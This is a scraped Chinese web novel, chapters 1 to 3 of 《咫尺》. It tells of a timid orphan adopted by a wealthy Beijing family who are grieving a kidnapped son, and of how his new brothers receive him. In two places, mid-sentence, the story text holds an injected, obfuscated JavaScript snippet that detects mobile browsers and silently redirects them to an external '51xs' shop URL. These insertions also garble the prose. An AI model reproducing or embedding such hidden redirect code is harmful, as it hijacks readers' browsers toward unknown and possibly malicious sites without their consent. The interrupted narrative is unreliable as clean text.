《咫尺》 1. 【第001章】 001/ 瓦县的下午总是安静的。 全县唯一的福利院内,院长丹珠正在给孩子们发放每月一次的小零食,时不时的雀跃声成了寂静午后的唯一点缀。 院里的小朋友不算多,但大多数一出生就被父母抛弃了,然后被好心人捡着送到了这里,也有孩子是因为实在没了去处,才被相关部门送来照顾。 瓦县地处偏僻,少有爱心人士来此,有关部门给予的补助也是杯水车薪,积年累月下来,院里的条件并不算富裕。 即便如此,院长丹珠还是会想尽一切办法给孩子们一些甜头,就比如今天。 木制滑梯最上方,一名身形瘦小的小男孩独自坐着,他的头发蓄得有些长,还带着天然的小卷,遮住了绝大部分的脸蛋。 只是透过发丝,隐约能窥见那双天生乌黑而明亮的眼眸。 此刻,他手里攥着一个小面包,看上去有些干巴,这是刚刚院长发给他的“奶油小蛋糕”,无非就是面包皮里掺了一点炼乳。 但他很珍惜,不舍得吃。 “喂,小七!” “……” 有人喊了他的名字。 被叫为“小七”的小男孩认出声音的来人,明显吓得一哆嗦,小手不自觉地就将“小蛋糕”捏紧了些。 眨眼间,两名年纪大些的男孩就走到了他面前,仰头摊手索要,“你小蛋糕呢,快给我!” “……” 小七眼神一慌,坐在滑梯上的身影越发蜷缩成一团。 他鼓足勇气,“我、我不给你们,我、我留着给院长。” 对小七来说,院长阿嫲在他心里是最好的人,他就要把自己最好的东西留给对方。 哪怕这块“小蛋糕”本来就是从院长阿嫲手里拿到的。 只可惜,颤抖的嗓音软软糯糯的,根本起不到一点儿拒绝的效果。 两位年纪稍长一些的男孩似乎料准了他的性格,直接伸手猛拉,“你给我下来!” “啊!” 小七完全没有防备,失去重心爬着从滑梯上刮蹭了下来。 他摔在了满是灰尘的泥地上,手里的“小蛋糕”没有拿稳,甩飞了出去。 那两名男孩见状,捡起“小蛋糕”就溜得飞快。 “……” 小七无助地爬起来站在原地,他掀开袖子,藏在底下的白嫩嫩的手臂多了一道红色刮痕。 伤口不算严重,但还是有些疼。 啪嗒。 委屈的眼泪几乎一下子就掉了下来。 可他不知道该找谁诉苦,只能胡乱抹掉自己的眼泪、将那点哭腔压回到小小的身躯里。 … 夕阳落下,风里带着凉意。 小七收拾好了心情,正打算往屋子里走,忽然间,熟悉的声音喊住了他,“小七,我正找你呢,快过来。” 小七瞥见院长丹珠的身影,藏在发丝的眼神顷刻一亮,跑了上去,“阿嫲!” 丹珠蹲下牵住他发凉的小手,“跑哪里去了?小蛋糕吃完了吗?” 小七不想让她担心,扬起笑容,“嗯!很甜。” “傻孩子。” 丹珠不知道他被欺负的事,只觉得那点临期的干巴巴的小面包又能有多少甜味?只是她能力有限,只能带给孩子们这样的生活条件。 如果可以,她想给所有院里的孩子们找到好的领养家庭,在这样偏僻县城里,能将孩子送出去一个是一个。 “小七,阿嫲有事情要和你说。” “嗯?” 丹珠拨开小七挡眼睛的发丝,语重心长地交代,“阿嫲找到你的爸爸妈妈了,他们明天就会来接你,等回了家,你也要乖乖听话。” “……” 年幼的小七被这段话冲到发懵,好半晌才不可置信地问,“阿嫲,我有爸爸妈妈吗?” 从他有认知起,这两个本该是世界上最亲近的人就从未出现在他的生活中。 “有,当然有,他们之前不小心把你弄丢了,现在找到你了,当然要把你带回家。” “从明天起,我们小七就是有爸爸妈妈疼的孩子。” 这是她和领养人章渡先生对好的说辞。 毕竟小七年纪还小,等再长大一些就不记事了,如果能让他认定自己是有亲生父母的孩子,未来或许能过得自信顺遂一些。 小七不知道院长的想法,没有惊喜,反而很忐忑,“……阿嫲,你能和我一起去吗?” 他怕生,也怕爸爸妈妈不喜欢他。 “院里还有那么多哥哥姐姐、弟弟妹妹呢,阿嫲得留下来照顾大家。” “小七乖,你爸爸明天就来接你,等回了家,我们小七就不用再受苦了。” 说到最后几个字,丹珠的声线有些哽咽。 她是舍不得这个漂亮又听话的孩子,但她知道,这对小七而言才是最好的安排。 这一个晚上,小七没能睡好。 即将离别的愁绪堆在他的心里,还有对新家的紧张和迷茫,所有的情绪交织在他小小的身体里。 他也可以有爸爸妈妈吗?他们会喜欢他吗? 以后再遇到欺负了,他是不是也可以有人保护了? … 直到天光大白。 没能睡好的小七穿上了院长给他洗干净的衣服,被领着走到了一位男人的面前。 “章先生,这位就是小七。” “……” 小七小心翼翼地仰头,看着身形高大的男人蹲在了他的面前,“还记得我吗?” 小七先是摇了摇头,旋即想起了什么,点了点头,“嗯。” 他之前见过这个叔叔。 小七对上这张算得上帅气的面容,不太确定地问,“你真是我爸爸吗?” “……” 爸爸。 章渡听见这个称呼,胸口积载许久的酸涩猛然爆发。 他迅速起身、失态地背对着院长和小七,似乎是在调整自己的呼吸。 两年前,章渡和妻子沈眠“弄丢”了自己的小儿子。 家里长期做工的保姆起了贪念,联合外人“绑架”了他们的小儿子,意图勒索敲诈,后来那名保姆忌惮于章家的势力,又临时改了主意。 她联合另外两人演了一场戏,伪装成孩子是被人贩子夺走,倒腾了两手才卖给了一位不能生育的下家夫妻。 直到东窗事发、被警方逮捕,三人才如实招供。 那个时候,孩子早已经不见了。 将近三年的时间,章渡苦寻全国各地无果,家中的双亲心结难舒,相继生了病症,妻子沈眠的情况同样好不到哪里去。 大概是两个月前,章渡听到所谓的“线索”赶到这里,却又是一次竹篮打水一场空。 失望之际,章渡第一次和小七打了照面。 对方小小年纪,似乎看出了他外表掩藏下的愁苦,隔着院墙栅栏,软声软气的安慰: “叔叔,不难过。” 正是因为这简简单单的一句话,竟意外让章渡记到了心里,让回去后的他翻来覆去地想起这个孩子。 相仿的年纪、瘦弱的身形,看着就让人心生爱护。 在和妻子彻夜长谈后,章渡做下了一个重大决定—— 他们决定领养小七,在双亲面前伪装成孩子已经找回的事实,尽量稳住二老的身心情况,当然,自己的亲生儿子还是要暗中去寻找。 于是,在长达一个月的沟通筹备后,章渡才重新回到了这里。 院长丹珠大概知晓了章家的真实情况,“章先生,你还好吗?” “没事。” 章渡稳住了自己的心绪,将带来的文件夹递了过去,“院长,所有的手续文件我都已经办理好了,麻烦你过目。” 丹珠接过,抽了出来。 她看见章渡给小七取的新名字,“章长宁?” 章渡眸光微晃,“嗯。” 他的小儿子原先取了“甯”字,也是这个字音,字的寓意差不多。 吴用未来能不能找回自己的亲生儿子,他们都愿意好好抚养小七长大,真心希望对方这辈子能够长顺安宁。 丹珠点头,“好名字。” 她事先确认过章渡的经济能力,是符合领养条件的。 章渡重新蹲在了小七的面前,他温柔抚摸着他的脸蛋,带着一丝不足以和外人道的紧张,“你愿不愿意,喊我一声爸爸?” 小七怯生生地望着眼前的男人,不确定地看了一眼院长。 在丹珠鼓励的目光下,他认真又乖巧地开了口,“爸爸。” 章渡深呼一口气,干脆利落地将他抱了起来,“乖,爸爸带你回家。” … 瓦县回帝京的路遥远而波折,没办法当天就赶回去。 章长宁谨记着院长阿嫲的叮嘱,全程都乖乖地跟在章渡的身边,哪怕离开的第一个晚上害怕地想哭,他也是努力憋了又憋。 次日一早,章渡带着他坐飞机回了帝京,父子两人回到章家别墅时,刚过两点。 沈眠和章家二老得知消息,早早守在车库门口。 看见熟悉的商务车驶入后,章家老夫妇立刻迎了上去,“孩子呢,快让我看看!” 章长宁一下车就面对这些生面孔,怕生的他本能地躲在了章渡的身后。 “爸妈,你们别急,别吓着小宁。” 章渡温声制止了心急如焚的二老,弯腰将年幼的章长宁抱了起来,“小宁,我们不怕,这是爷爷奶奶,他们也很欢迎你回家。” 章家二老长得面善,望着章长宁的眼神只有满满的心疼和爱意。 虽然章长宁还小,但从小在福利院的生活早就让他学会了判断好意和恶意。 他紧紧圈住章渡的臂膀,却很乖巧地喊,“爷爷奶奶好。” “欸,好。” “我们小宝真乖,是奶奶对不起你,让我们小宝在外受苦了。” 章老夫人说着说着就哭出了声,章老爷子也红着眼眶,连忙扶住她安抚。 章渡的视线越过双亲,落在后排的妻子身上。 从刚才起,沈眠就一直站在后面,没有上前。 这两年,她的神情日复一日地疲惫,眼里的光亮也一点一点地暗了下去。 章渡看在眼里,疼在心里。 比起沉浸在“失而复得”喜悦中的双亲,沈眠从一开始就知道—— 眼下的章长宁并非她的小儿子。 沈眠愿意接受一个非亲非故的孩子出现在她的生命里,可她心里还是有一份没能斩断的真实牵挂。 哪怕未来找到的机会越来越渺茫,她也不会放弃。 夫妻两人无声地对视了一眼,多年以来的默契让章渡深知妻子的复杂想法。 章长宁不知道夫妇两人的心思,从刚才起,他就目不转睛地望着眼前的沈眠。 从记事起,他无数次在脑海中遐想着妈妈该有的样子,这一刻,所有的想象都抵不过真实存在的眼前人。 没有一个小孩会不需要父母的爱,章长宁也是如此。 章渡抱着章长宁走向妻子,“小宁,这是……” 介绍的话来不及说完,章长宁却一改刚才面对二老的内向模样。 他主动对着沈眠展开双臂,鼓足勇气将心里酝酿了许久的话说出: “妈妈,抱~” “……” 温软动听的声线,带着最天真也最无害的渴求,霎时像一道阳光破开了沈眠内心浓重的阴霾。 沈眠愣在原地,身体的反应大过大脑的思考,她泣不成声地拥住了这个素未谋面的孩子。 哪怕没有血缘关系,她伤痕累累的心也在这一瞬间,被这声“妈妈”而救赎治愈。 … 在非富即贵的帝京,章家绝对算得上数一数二的豪门世家,只不过处世作风向来低调。 章长宁初来乍到,自然不知道新家的“厉害”,只是在被抱进放满温水的超大浴缸后,震惊又无措地扒紧了浴缸边缘。 “别怕,妈妈给你洗个澡。” “……” 章长宁看着光秃秃的身体,还是很紧张,猫叫似地说,“我自己会擦的,我、我很干净。” 章渡和沈眠听见重点强调的后半句话,难得笑出声。 沈眠拿出浴球放入,随口嘱咐丈夫,“我来洗吧,你打电话叫个人,迟点给小宁把头发理理。” 章渡看见妻子明显被调动的积极情绪,暗松一口气,“好。” … 章长宁毕竟是在福利院长大,院长阿嫲再上心也没办法面面俱到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631963|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,日常清洁这种事情多少有些马虎。 这不,一通洗澡理发下来,整个人都从“黑猫”洗成了“白猫”,过长的头发被修理干净,露出了本就精致好看的面容。 虽然因为长期的营养不良瘦了些,但就像是商场橱窗里的洋娃娃,水灵灵的很招人喜欢。 章渡抱着章长宁下楼的时候,章老夫人霎时看得满心欢喜,“我们小宁真漂亮,比你那两哥哥小时候长得更好看。” “……” 章老爷子听见这话,默不作声地观察着章长宁的样貌,心绪微动。 年幼的章长宁捕捉住了关键词,“哥哥?” 沈眠从佣人手中接过一瓶泡好的温牛奶,递到了章长宁的跟前,“嗯,我们小宁还有两个哥哥,大哥比你大八岁,二哥比你大六岁。” 章长宁还没办法算出这样的年龄加减,捧着温牛奶没敢急着喝。 哥哥? 福利院那些所谓的“哥哥”只会欺负他、趁着院长阿嫲不在抢他的食物。 章老夫人看了一眼时间,继续哄他,“两个哥哥马上就要放学了,待会儿我们小宁就能见到他们了。” “……” 章长宁想了想,软乎乎将温牛奶递回给沈眠,“那我不喝。” 沈眠一愣,“怎么了?不喜欢吗?” 章长宁看着瓶中香甜的牛奶,那是他没喝过的好东西,摇了摇头,“给哥哥。” 福利院里的大孩子会抢走他的“小蛋糕”,那他现在主动把热牛奶留着,待会儿两个哥哥应该不会讨厌他了。 章家长辈们听见这算得上懂事的话,不免泛出心疼。 沈眠将牛奶塞回到章长宁的手里,哄道,“乖宝,这是给你喝的,不用让给别人,哥哥们想喝,爸爸妈妈会再给他们泡。” “嗯,我们小宁才是小弟,大哥二哥让着你还来不及呢。” “……” 章长宁没太听懂,只能挑简单的去理解。 哪怕周围的大人说了没关系,他也不敢将这香甜的牛奶喝得太快,只是很慢地抿上一小口,拖一会儿,再喝上一小口。 … 章渡和沈眠的感情很好,大学一毕业就结了婚,第一年就生下了长子章长风,没过两年又生下来次子章长叙。 俩孩子聪明,前后都跳级上了高中、初中,每晚都由司机统一接回来。 滋滋。 电子门解锁成功。 章长宁坐在地毯上玩着小积木,他听见门口响起了脚步声,刚被新玩具诱发的好动心瞬间熄灭,紧张了起来。 “爸妈,爷爷奶奶,我和长叙回来了。” 先响起的是一道有些沙哑的声线,听上去很开朗。 坐在厚软地毯上的章长宁借着茶几的掩护,悄悄露出一双大眼睛观察情况—— 率先进厅的男孩子是大高个,脱了校服外套,衬衫领口微微敞开,他笑眯眯地提着书包,才走到玄关的水吧处就仰头闷完了佣人提早备好的温水。 走在后面的男孩子的个子同样很高,不过看上去比第一个瘦点,他穿着相似的西式校服,但内搭的白衬衫系到了最顶端,外套也穿得板正。 “长叙,给。” 章长风头也不回地将另外一杯温水递出。 章长叙紧随其后,接过,慢条斯理地小口喝着,只是那双拿着水杯的手长得格外好看。 “……” 章长宁低头看了看自己的小手,又一次把目光投了回去,还是盯着章长叙看。 忽然间,正在喝水的章长叙就精准捕获了这道视线,他微微眯眼,停下喝水的动作看向了这道陌生的身影。 章长宁一慌,手里的积木啪嗒砸在了地上,下意识地蜷缩起了身子。 章老夫人连忙对着两位孙子招手,“长风,长叙,快来,看看谁回来了?” 章长风也发现了藏着的“小猫”,他想起前两天才提父母提及的情况,连忙走上前,“爸妈,小弟回来了?!” 章渡和沈眠就在沙发上坐着,前者笑了笑,对着地上的章长宁招了招手,“小宁,别缩着了,让你两个哥哥看看你。” “……” 章长宁撑着小短腿爬了起来,还没等他想好要不要主动喊哥哥,章长风就已经蹲下身子和他打起招呼了。 “小弟?” 章长风打量着眼前可爱又漂亮的小男孩,又惊又喜,“哟,我们家小幺长得这么好看啊?” 章老爷子离得最近,温声引导,“小宁,这是你大哥,喊哥哥好。” 章长宁乖乖喊,“大哥。” 章长风听见这一称呼,眼眶红了红,但他立马忍住了,“欸!大哥在呢!” 他主动抱住章长宁,揉了揉自家小弟软松的卷发,“回家就好,回家了就好,以后大哥照顾你,无论去哪儿都一定看好你。” 章家长辈们听见这话,又是欣慰又是酸涩。 章渡看着还杵在玄关处的二儿子,催促,“长叙,快进来。” 章长叙没有预想中的欣喜,维持着一贯超出同龄人的平静面色走了进来,他站在离章长叙和章长宁三步远的地方,默默打量着这位突然归家的“小弟”。 章长宁被大哥章长风拥抱着,目光却忍不住被章长叙吸引,也说不上来为什么,他就是单纯觉得二哥长得比较好看。 沈眠见长子抱着不放,无奈提醒,“好了长风,你先松开,让你两个弟弟也见一见。” “喔。” 章长风松开章长宁,微微侧身充当起介绍人,“小弟,他是你二哥,快去打声招呼。” 兴许是章长风主动的亲近和拥抱让人生出了勇气,章长宁的眼神亮了点,他主动朝着章长叙走去,拉近了两人间的距离。 像是带着天生的吸引力,章长叙忍不住抓住了章长叙垂落的手指,小心翼翼又满怀期待地喊了一句。 “二哥。” “……” 章长叙垂眸盯着眼前算得上漂亮的小不点,被拉扯的指尖传来温温软软的触感,向来讨厌被外人触碰的他难得有了几秒的愣神。 很快地,他的余光触及到了章长宁的小卷毛,出走的理智回归。 下一秒,章长叙就甩开了章长宁的牵扯,冷静又肯定地说,“别这么叫我,你不是我亲弟弟。” 2. 【第002章】 “……” 章长叙的话像是一捧冷水骤然浇了下来。 章长宁敏锐感知到眼前人的抗拒,茫然无措地抓了抓自己空落落的掌心,欲哭不哭,“对不起。” 嗓音很软,颤抖也很明显。 章长叙被这声突如其来的道歉弄得一怔,还没等他想好怎么接话,旋即就听见沙发上的章渡出了声。 “长叙,你胡说什么呢!” “……” 沈眠听见丈夫算不上严厉的制止,嘴角露出一抹苦涩,“小叙,弟弟才刚回家,你这样会吓到他的。” 章长叙声音低了些,“他不是。” 这人根本就不是他的亲弟弟! 章家没有人是卷发,当年小弟失踪前,八岁的他已经有了基本的记忆认知和事实判断,真正的小弟不会是这一头卷发。 章长宁小小年纪,但心思很敏感。 章长叙是他离开福利院以来,唯一表现出“不欢迎他”的人。 章长宁不懂眼前好看的二哥为什么不喜欢他,只能耷拉着脑袋,才生出勇气的那点步路,又退了回去。 章长风离得最近,连忙将手足无措的章长宁重新搂了回来,“小弟,你来大哥这儿。” “别难过 ,二哥不是不喜欢你,他只是还没有做好准备。” 章家二老对视一眼,章老爷子压住眉眼间的那点虑色,“毕竟分开了几年,兄弟三人接下来多培养培养感情。” “长宁胆子小怕生,你们俩当哥哥的,得好好照顾他。” 章长风揉了揉章长宁的小脑袋,“爷爷,你就放心吧。” 沈眠见二儿子一言不发,也怕他受委屈,“长叙,把书包放下,待会儿就吃饭了。” 章长叙从小就有种超脱于同龄人的冷静和睿智,对外的很多事情都算不上热衷,性子冷淡得没几个朋友。 与其说是别人选择和他交流,还不如说是他有自己的“选择标准”。 除了家里人,也就只有商家差不多年纪的商延枭和他处得来,眼下的章长宁明显没有被他纳入“自己人”的范围内。 章渡看着缩在章长风怀里小小一团的委屈身影,看着次子欲言又止。 不过很快地,章老爷子就起身喊道,“阿渡,你跟我去一下书房。” 父子两人视线交汇,章渡心下一紧,“是。” … 家里突然多了一位弟弟,章长风没急着写作业,而是待在地毯上陪着章长宁玩耍。 原本章长宁还因为章长叙的那两句话闷闷不乐,但没几下就被积木重新带去了注意力。 小孩子的情绪就是这样,来得快,去得也快。 章长宁看着章长风三两下就摆出了一层小房子,眼睛亮亮的,“哇~大哥好棒!” 软软糯糯的崇拜,全然没了不久前的委屈。 “来,坐大哥怀里,大哥教你拼!” “嗯。” “……” 章长叙独自坐在单人沙发上,余光扫着不远处玩得不亦乐乎的两人,带着点超于同龄人的不理解—— 不就是几块积木? 用得着这么开心?怎么就厉害上了? 看着看着,章长叙就偏移了目光,不自觉地又对准了那头天然的小卷毛。 章长宁的后脑勺顶上有一缕头发丝格外凸出,这会儿跟螺旋弹簧似地一抖一抖的,让人莫名想要去揪扯。 “哇~” 那边的章长风似乎又摆出了什么新奇玩意儿,惹得章长宁拖长音感叹,还忍不住卖力鼓起了小手。 拍着拍着,章长宁就看见了单人沙发上的章长叙。 视线相触的那一秒,章长宁的兴奋劲收得一干二净,老实地不出声了,生怕吵着章长叙不开心。 “怎么了?” 章长风见小弟戛然而止的欢呼,看了看才反应过来,顿时乐得开玩笑,“长叙,我说你别成天绷着一张脸,我们小弟才刚回家呢,第一面就怕上你了。” “……” 章长叙神色微变。 一想到章长宁确实对他们两人是不同态度,越发绷着一张脸。 章长宁见他这样更没底了,憋了好半天才嘟嘟囔囔,“大哥,我不玩了。” 恰时,佣人出来喊话,“饭菜都准备好了,可以准备吃晚餐了。” “正好不玩了。” 章长风将手里的小积木随手一丢,“小弟,饿不饿?大哥带你吃饭去。” 章长宁摇了摇头,趴着将散落一地的小积木乖乖捡回到了玩具盒子里。 章长风和章长叙看见他的举动,相似的眉眼不自觉地晃出一丝柔和,当然,前者的认可和夸赞更明显。 “哎哟,我们小弟真乖,来,大哥帮你一块。” “……” 章长叙发现自己留着多余,假装冷漠地起身先去了餐厅。 晚餐做得很丰盛,几乎都是章长宁没吃过的好东西,看得他眼睛嘴巴肚子都在发馋。 比起同龄的孩子,章长宁早早就学会了自己吃饭,但他胃口小,初来乍到更不敢多吃,只是努力地扒拉着小半碗米饭。 就连沈眠给他剥的大虾,他都分成好几口才下肚。 章家长辈们看着眼里,疼在心里。 不过,章长宁长期营养不良,他们一下子不敢投喂太多,只能再三确认他吃饱饭后,沈眠才领着他回房间休息。 瓦县到帝京的路实在波折,大人都累,小孩子更别提了。 刚过八点。 沈眠就抱着洗漱干净的章长宁上了床。 房间内的空调永远是最舒适的温度,提早清洗过的新毯子松松软软的,有股令人安心的气息。 “小宁,来,躺妈妈怀里。” “……” 章长宁拒绝不了这样温柔的母爱,有些贪恋地往她怀里钻了钻,“……妈妈?” 他喊得小心翼翼,又满怀期待。 沈眠有些恍惚,压下那点熟悉的痛苦后回应,“妈妈在。” 章长宁鼻子酸酸的,“我想院长阿嫲了。” 沈眠轻拍着章长宁的后背,轻轻哄道,“乖宝宝,从今天起,妈妈会代替院长阿嫲照顾你。” 章长宁仰头看她,想了想还是问,“我是你和爸爸的孩子吗?二哥说我不是,他不喜欢我。” “……” 沈眠想起这事,继续哄,“你当然是,你就是爸爸妈妈的孩子,你二哥也没有不喜欢你。” 章长宁想起章长叙那张好看却冷冷的脸,还是有些不确定。 沈眠看出他的怀疑,笑了笑,“他以后会和大哥一样喜欢你、照顾你、陪你玩。” 章长宁眨巴了一下眼睛,有些说不上来的期待,“他真的会陪我玩吗?” 沈眠深知二儿子的冷淡性子,天塌下来也不会主动到哪里去,只好换种方式说,“小宁,你要是想要二哥陪你玩,那就黏着他。” “你二哥就是不爱说话,其实心比谁都软。” 章长宁听着听着就打了一个哈欠,沉重的眼皮子渐渐有了合上的迹象,睡意朦胧间,他还在考虑: 黏着二哥? 他万一生气了怎么办? … 章渡处理完公司事务回到主卧室,章长宁已经躺在妻子的怀里睡着了。 沈眠微微起身靠在床头,说话的声音放得很低,“这两天太累了,没哄一会儿就睡着了。” 章渡坐在床沿感慨,“这孩子,乖是真的乖,以后带起来应该费不了什么力气。” 沈眠微微颔首,问,“爸晚餐前喊你去书房,是不是已经察觉了?” 章渡叹了口气,没否认,“老爷子的眼睛厉害着,瞒不过他,我把事情缘由和他说了清楚。” 章老夫人因为“找回孩子”这事,连日来的精神头明显好转了不少。 哪怕章长宁的身世终究有真相大白的一天,可父子两人一合计,还是打算暂时瞒下这事。 “阿眠,你放心,我一定会把甯甯找回家!哪怕是天涯海角,我都不会放弃。” 说着,章渡又看向了熟睡中的章长宁,“但这孩子也算是和我们家有缘。” 沈眠深知丈夫这两年的不容易,忍不住拢住他的手腕,“我知道,我和你一样不会放弃,小宁来了家里也好,不过,长风长叙那边——” “你要不要和他们说一下?两个孩子都到了懂事的年纪,以后不一定瞒得住。” “特别是长叙,他今天这反应显然是察觉了什么。” 章渡想起性格迥异的两兄弟,“好,我现在就去和他们聊聊,免得时间拖久了成疙瘩。” “好。” … 章长风和章长叙的房间在正对面。 章渡找上门的时候,洗漱完的章长风从浴室出来,“爸?” “来。” 章渡敲了敲章长叙的房间门,又对着大儿子说,“进你弟的屋,我正好有事要和你们两兄弟讲。” 话音刚落,房间内的章长叙就回了话,“没锁门,进。” 章渡率先进屋。 章长风一边擦着头发,一边跟着进去。 他和书桌前的章长叙对视一眼,主动开口,“爸,这大晚上的,你要说什么?小弟睡着了吗?” 章渡扫视着两兄弟,开门见山,“就是要和你们讲一讲小宁的事。” “什么?” “……” 章渡花了点时间,将章长宁的真实情况如实告知了两个儿子。 说完,他又语重心长地交代,“你们的亲弟弟,爸妈还是会拼尽全力去找,但从今天开始,你们务必要把小宁当成自家弟弟来看待。” “特别是长叙。” “我听丹珠院长说,小宁在福利院隔三差五被年纪大点的孩子偷着欺负,管也管不住,他本身就有些怕年纪长点的男孩子。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631964|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 章长叙知道章渡的言下之意,握着笔的手微微用力,“爸,我今天说那话没想伤害他。” 他只是怕爸妈认错了孩子,也怕亲弟弟还沦落在外面受苦。 章渡了解自家孩子的脾性,“我当然知道,爸不要求你像长风那样上来就对小宁好,以后慢慢相处就行。” 兄弟之间的感情,日积月累总能有的。 章长风看了一眼闷声不吭的章长叙,代替应下,“爸,你就放心吧,我们俩心里有数,小宁长得那么可爱漂亮,家里多一个孩子也热闹。” “嗯。” 章渡没再多说,“时间不早了,你们两兄弟早点休息,明早还要上学。” “好,爸,晚安。” “晚安。” 眼看着章渡出了门,章长风才转回视线,“长叙,想什么呢?” 章长叙没接话,但作为大哥的章长风却看懂了,“小弟这年纪不记事,很多事情睡一觉就忘记了,没什么委屈也没什么烦恼。” “你信不信,他明早起来就不记得你今天说的那两句话了?大不了哄哄就好,你别自责了。” “……” 章长叙矢口否认,“我没自责,本来说得就是实话。” 章长宁本来就不是他的亲弟弟。 章长风没和他争,“行吧行吧,那我回去了,你也早点洗漱睡觉?” “嗯。” 砰。 房门关闭声又一次响起。 章长叙盯着桌面上自行加做的奥数题,没了继续解题的想法,满脑子都是傍晚章长宁被他拒绝后的小团身影。 “二哥。” “别这么叫我,你不是我亲弟弟。” “……” 章长叙越想越觉得脑子乱糟糟的,干脆将奥数本合上,不再做了。 … 帝京初、高中的课业压力并不轻松,加上章长风和章长叙走读,章家众人都养成了不到七点就起床的生物钟。 章长宁也醒得早,这会儿已经乖乖坐在餐桌,他捧着热乎乎的牛奶,仰长了脖子往楼梯看。 正看财经报的章老爷子用余光注意着,察觉出他小脑袋瓜里的意图,“小宁,你去楼上喊喊两个哥哥,快迟到了。” 说着,他还给章长宁指了指方向,“喏,那边。” 章长宁只当自己得了任务,连牛奶也不喝了,蹦跶着小短腿就往二楼跑。 他才走完楼梯,章长风就领着书包从房间里走了出来。 兄弟两人打了照面。 章长风笑着就迎了上去,“小弟,早上好啊,你在这里做什么?” 章长宁回答,“爷爷说,要迟到了。” “放心,时间来得及。” 章长风揉了揉他的小脑袋,总觉得这一头卷毛摸起来很舒服,“走吧,跟大哥下楼吃饭。” 章长宁朝他的身后看去,有些犹豫,“二、二哥呢?” 章长风忍俊不禁,“好,我知道了,那你敲门喊喊他,大哥先下楼。” 哒哒哒。 看着章长风下了楼,章长宁才往前继续走。 正对着的两间次卧,一间敞开着房门空无一人,一间房门还关着没有动静。 章长宁确认了自己的目标,却没敢往上敲,“……二哥。” 他的声音堵在喉咙里,叫得比刚出生的猫还轻,攥成拳头要敲门的小手伸出去、又伸回来,纠结的眉头都快拧成一团了。 直到房门啪嗒打开,章长宁被吓得倒退两步,顿时屁股着地摔坐了下来。 “……” 章长叙一开门,就看见章长宁坐在自己的房间门,“你怎么在这里?” 章长宁连忙爬起来,结结巴巴,“二、二哥早、早上好,爷爷、爷爷说,吃早饭,还、还有牛奶,很……好喝!” 磕磕绊绊地一句话,愣是让白皙的脸蛋透了一层红。 章长叙眉梢微动,“你在等我?” 章长宁下意识地摇了摇头,忽地想起了昨晚睡前沈眠的交代,改成点头,“嗯。” 他应得很轻,旋即眼巴巴地重复,“二哥,早上好。” 章长叙想了想,应道,“早上好,下楼吧。” 章长宁得到他的回应,忙不迭地点头,结果开心到弄错了方向,往楼梯的反方向跑了好几步。 章长叙及时制止,“章长宁!” 章长宁还有些不适应他的新名字,茫然停下脚步,“啊?” “……” 章长叙觉得他的模样傻乎乎的,只好带头往楼梯口走,“走这边。” 章长宁盯着他的背影,莫名其妙就生出黏人的勇气,连忙小跑着跟在章长宁的屁股后面。 “二哥等等我!” “……” “二哥,我有牛奶,给你喝。” “章长宁,走路看楼梯。” “喔,二哥,那你要喝我的牛奶吗?” 3. 【第003章】 003/ 章长宁对于新家的适应速度,远比章氏夫妇想象中得要更快。 原以为的“内向”性子随着时间逐渐消失,显露出他这个年纪最该有的活泼和天真。 转眼就到了暑假。 章渡一回到家,看见章长宁正坐在章长风的怀中,手里拿着两块小积木手舞足蹈地讲着什么,脸颊都兴奋到红扑扑的。 经过一个月的悉心照顾,章长宁明显长了点肉,这会儿小脸蛋看上去更招人喜欢了。 “我们家小宁讲什么呢?” “爸,小弟在给我编故事呢。” 章长风应了一句,饶有兴致地配合着正在编故事的章长宁,“那接下来呢,小兔子怎么了?” 章长宁继续比划,嘴里还在嘟嘟囔囔。 沈眠将他的温水壶递给了过去,转身走到丈夫的身边,“这孩子,叽里呱啦讲了半个多小时了,愣是不带停。” 坐在沙发上的章老爷子跟着笑,“想象力挺丰富的。” 哪怕知道章长宁不是自己的亲生孙子,但老爷子也很喜欢小家伙的活泼劲。 章老爷子问,“对了,小宁读书的事情是不是该安排一下了?” 提及这事,章渡难得有些发愁—— 帝京的孩子上学都早,哪怕读个幼儿园都很卷,什么数学加减乘除、什么英语启蒙、更有各类自理能力、协调能力的培养。 章长宁五岁前一直待在瓦县,根本没接收过什么学前教育。 要从幼儿小班读起太耽误年纪,直接插到对应年纪的大班,又怕他跟不上其他同龄孩子的进度,万一有了落差感也不好。 章渡说,“我已经托商启帮我去问了,他小儿子等暑假结束后就上大班了,我想安排小宁进那个班级,和他们家的一块儿,也算有个伴儿。” 像这种私立的高等幼儿园,一般都能拿钱砸进去,倒是不难。 好友商启有两个孩子。 大儿子商延枭只比他们家的章长叙小了半岁,两人一直是同班同学,关系很好。 好友家的二儿子商确言才五岁,和章长宁差不多年纪,要是这俩小只再能熟悉起来,两家的男孩子就都能玩在一块了。 章渡想到这儿,忍不住搜寻起自家二儿子的身影。 章长叙没和自家大哥凑热闹,听小弟什么胡编乱造的故事,而是单独坐在了角落,正拿着平板、戴着耳机看着纪录片。 章渡喊了句,“长叙。” 章长叙摘下单边耳机,看向他。 章渡想了想才交代,“你有空多邀请延枭,让他带着确言来我们家做做客。” “……” 章长叙聪明,一下子就明白了话里的意思。 他看了一眼还在叽里呱啦讲个不停的章长宁,嘴角微不可查地翘了翘,“哦。” 